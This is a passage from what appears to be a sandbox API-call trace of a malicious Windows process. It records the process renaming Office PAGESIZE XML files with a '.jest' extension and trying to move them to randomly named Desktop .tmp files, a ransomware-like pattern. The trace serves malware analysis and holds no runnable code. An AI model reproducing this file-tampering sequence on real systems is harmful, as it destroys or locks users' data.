sM6K7EtsOm2t1iytSr7lgr09pkoiNyFofeti-ebqUDcQvg7F-85LvewTEDJD2_we2WvBvWyvIh3yEXiT46VeZfplOkXPN4rGFB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0 sm6k7etsom2t1iytsr7lgr09pkoinyfofeti-ebqudcqvg7f-85lvewtedjd2_we2wvbvwyvih3yexit46vezfplokxpn4rgfb.tmp")) returned 0 [0167.762] GetLastError () returned 0x2 [0167.762] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.763] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.jest")) returned 1 [0167.765] VarBstrFromR4 (in: fltIn=0x479458aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.33") returned 0x0 [0167.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O0QRp0zLUXBrIKpgCH9lBQa53AIIvSn-C-BimjkNaFY Cgl0DBd5T8mmWZb1vkGtJJujqYH8kCDSE7D5G0gotaW53Fx_11DD9w2F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o0qrp0zluxbrikpgch9lbqa53aiivsn-c-bimjknafy cgl0dbd5t8mmwzb1vkgtjjujqyh8kcdse7d5g0gotaw53fx_11dd9w2f.tmp")) returned 0 [0167.766] GetLastError () returned 0x2 [0167.766] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.jest")) returned 1 [0167.768] VarBstrFromR4 (in: fltIn=0x479458aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.33") returned 0x0 [0167.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mESCvKnKBDq-zfj0OsZhGX6VV8oyhkH66kjjk2VywOWYZ0t10ZAUd_ItJ5v51GjOt45LY_YiFcgpbKos9ZcOQfoRz7NU Ka7yI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mescvknkbdq-zfj0oszhgx6vv8oyhkh66kjjk2vywowyz0t10zaud_itj5v51gjot45ly_yifcgpbkos9zcoqforz7nu ka7yi.tmp")) returned 0 [0167.769] GetLastError () returned 0x2 [0167.769] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.jest")) returned 1 [0167.775] VarBstrFromR4 (in: fltIn=0x479458ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.34") returned 0x0 [0167.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\legtCxfpEW3-yCiI-TuPrDNpu9Up4T4umL9ET-rHlipcoUUBDkoFjKas_z_IV-tSM4EH0aBFiqPy18-PbF2I7ixS0KIR8VTK8lb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\legtcxfpew3-ycii-tuprdnpu9up4t4uml9et-rhlipcouubdkofjkas_z_iv-tsm4eh0abfiqpy18-pbf2i7ixs0kir8vtk8lb.tmp")) returned 0 [0167.777] GetLastError () returned 0x2 [0167.777] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.778] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.jest")) returned 1 [0167.780] VarBstrFromR4 (in: fltIn=0x479458ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.34") returned 0x0 [0167.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T xJFY9VmdqWZfPJ_LW8toFHe6swuM-e7TUiVhc13CPIynPu4vw-OiDjiTUtIYmSHWT_UYy3pSGXT6Nd4Hf-2tZhDffoEMP8N9CMx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t xjfy9vmdqwzfpj_lw8tofhe6swum-e7tuivhc13cpiynpu4vw-oidjitutiymshwt_uyy3psgxt6nd4hf-2tzhdffoemp8n9cmx.tmp")) returned 0 [0167.781] GetLastError () returned 0x2 [0167.782] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.783] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.jest")) returned 1 [0167.785] VarBstrFromR4 (in: fltIn=0x479458ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.34") returned 0x0 [0167.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l_W6f HfIw6ZNnA7_IDypMKQJkhfnJJ9AsrFHh2jCdTzgiqVhvFjwl6xqn4tyFv_SJNJImh1j2jYzboatEb688HkPnC4BqxHUt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l_w6f hfiw6znna7_idypmkqjkhfnjj9asrfhh2jcdtzgiqvhvfjwl6xqn4tyfv_sjnjimh1j2jyzboateb688hkpnc4bqxhut.tmp")) returned 0 [0167.786] GetLastError () returned 0x2 [0167.786] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.787] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.jest")) returned 1 [0167.800] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0167.801] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0167.801] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0167.801] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x35, wMilliseconds=0x165)) [0167.802] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0167.802] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x35, wMilliseconds=0x165)) [0167.802] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x35, wMilliseconds=0x165)) [0167.802] GetUserDefaultLCID () returned 0x409 [0167.803] VarBstrFromR4 (in: fltIn=0x479458ae, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.36") returned 0x0 [0167.804] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0167.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eL9fmq0y-plb37RSteYIgmfpvqZQSIJOb2SLEBI-dnfYOTnPszmcmFXQSbQQvGEulQMm7U4Yt0HPg7jN3MxGE70gOBZMlkYEPbQWm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\el9fmq0y-plb37rsteyigmfpvqzqsijob2slebi-dnfyotnpszmcmfxqsbqqvgeulqmm7u4yt0hpg7jn3mxge70gobzmlkyepbqwm.tmp")) returned 0 [0167.806] GetLastError () returned 0x2 [0167.806] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0167.807] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0167.807] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.jest")) returned 1 [0167.811] VarBstrFromR4 (in: fltIn=0x479458b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.38") returned 0x0 [0167.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eFhIgLBNzwwssc_QiVv-FUbhLT12CZywLEZ2-BDJrJ26t0yW5RCf_-FJYhTS9WO1rKmf4ADyb1hh7ef_7xWs8xZwmDjf0M95hcdem.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efhiglbnzwwssc_qivv-fubhlt12czywlez2-bdjrj26t0yw5rcf_-fjyhts9wo1rkmf4adyb1hh7ef_7xws8xzwmdjf0m95hcdem.tmp")) returned 0 [0167.813] GetLastError () returned 0x2 [0167.813] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.jest")) returned 1 [0167.815] VarBstrFromR4 (in: fltIn=0x479458b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.38") returned 0x0 [0167.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bvih f4qz4HZOTv0mJwx1u-DXFLmrbIkHJfEnVRSwNMzyo4HYv90L5zy4U7wxglN2GMDjqg8EFKeLWK3oYmMHV40_vXvhZu37wD .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bvih f4qz4hzotv0mjwx1u-dxflmrbikhjfenvrswnmzyo4hyv90l5zy4u7wxgln2gmdjqg8efkelwk3oymmhv40_vxvhzu37wd .tmp")) returned 0 [0167.817] GetLastError () returned 0x2 [0167.817] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.jest")) returned 1 [0167.820] VarBstrFromR4 (in: fltIn=0x479458b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.39") returned 0x0 [0167.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WKynyczzAAtoz4dh7y-Q3XlzZN3mYXygDjYtlhuU5Chs-3-Fc_1-Ud52adZFy1Zv-gdhD5496093KPAowhFW41Wk5YToMyC2Y kf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wkynyczzaatoz4dh7y-q3xlzzn3myxygdjytlhuu5chs-3-fc_1-ud52adzfy1zv-gdhd5496093kpaowhfw41wk5ytomyc2y kf.tmp")) returned 0 [0167.822] GetLastError () returned 0x2 [0167.822] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.jest")) returned 1 [0167.825] VarBstrFromR4 (in: fltIn=0x479458b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.39") returned 0x0 [0167.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L_0iuGVGRwCi7r1_cXrBNIRkh85CCK73gQUpVnpLpr19hbMMqVXpSmP3oL6r9ptCmsCXW8nchPUkwGzJIA8BjASCgR8NmqI2Sy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l_0iugvgrwci7r1_cxrbnirkh85cck73gqupvnplpr19hbmmqvxpsmp3ol6r9ptcmscxw8nchpukwgzjia8bjascgr8nmqi2sy.tmp")) returned 0 [0167.826] GetLastError () returned 0x2 [0167.826] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.jest")) returned 1 [0167.829] VarBstrFromR4 (in: fltIn=0x479458b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.39") returned 0x0 [0167.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mv22oHzqbnFENlKgvXb7IbjH9zgoe1 WqpR6U6bxkgc2m5Aa6fKINBvsNTd9MraVC oyHicQrHE78cpIXjFeVbXi167qQJbjSBBIq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv22ohzqbnfenlkgvxb7ibjh9zgoe1 wqpr6u6bxkgc2m5aa6fkinbvsntd9mravc oyhicqrhe78cpixjfevbxi167qqjbjsbbiq.tmp")) returned 0 [0167.830] GetLastError () returned 0x2 [0167.830] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.jest")) returned 1 [0167.832] VarBstrFromR4 (in: fltIn=0x479458b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.39") returned 0x0 [0167.833] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oJY89GU2JWmFRR1BzQqgPuv SoTFhQa4ouN4PcbzEJW00XIexdVVmAPYZ5QmmIKS4zi30bM5vfFHTZVRCf2SMvmx2W6V0UgvzrC_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ojy89gu2jwmfrr1bzqqgpuv sotfhqa4oun4pcbzejw00xiexdvvmapyz5qmmiks4zi30bm5vffhtzvrcf2smvmx2w6v0ugvzrc_.tmp")) returned 0 [0167.833] GetLastError () returned 0x2 [0167.856] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.jest")) returned 1 [0167.860] VarBstrFromR4 (in: fltIn=0x479458b6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.42") returned 0x0 [0167.863] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qwNkYvf954wtBDvlA2B3VLbTU9oR7YQqmuIy4FS6dItN8b2xDcHxbp9K8eQx-XD8VxltlpyWtSd5bc-TIgkMTi_PQvlYPyChxxhX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qwnkyvf954wtbdvla2b3vlbtu9or7yqqmuiy4fs6ditn8b2xdchxbp9k8eqx-xd8vxltlpywtsd5bc-tigkmti_pqvlypychxxhx.tmp")) returned 0 [0167.863] GetLastError () returned 0x2 [0167.864] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.jest")) returned 1 [0167.867] VarBstrFromR4 (in: fltIn=0x479458b8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.44") returned 0x0 [0167.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K-uO7RODsH5ds51835rejXK1FQwXZvjd7WeCDMssEuhr9oJ4Q8yRl6tOMl-dSjywJKaq9g45echasg1xsr18eQfTfEn hK5 6_XVK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k-uo7rodsh5ds51835rejxk1fqwxzvjd7wecdmsseuhr9oj4q8yrl6toml-dsjywjkaq9g45echasg1xsr18eqftfen hk5 6_xvk.tmp")) returned 0 [0167.868] GetLastError () returned 0x2 [0167.869] NtCreateFile (in: FileHandle=0x18eb34, 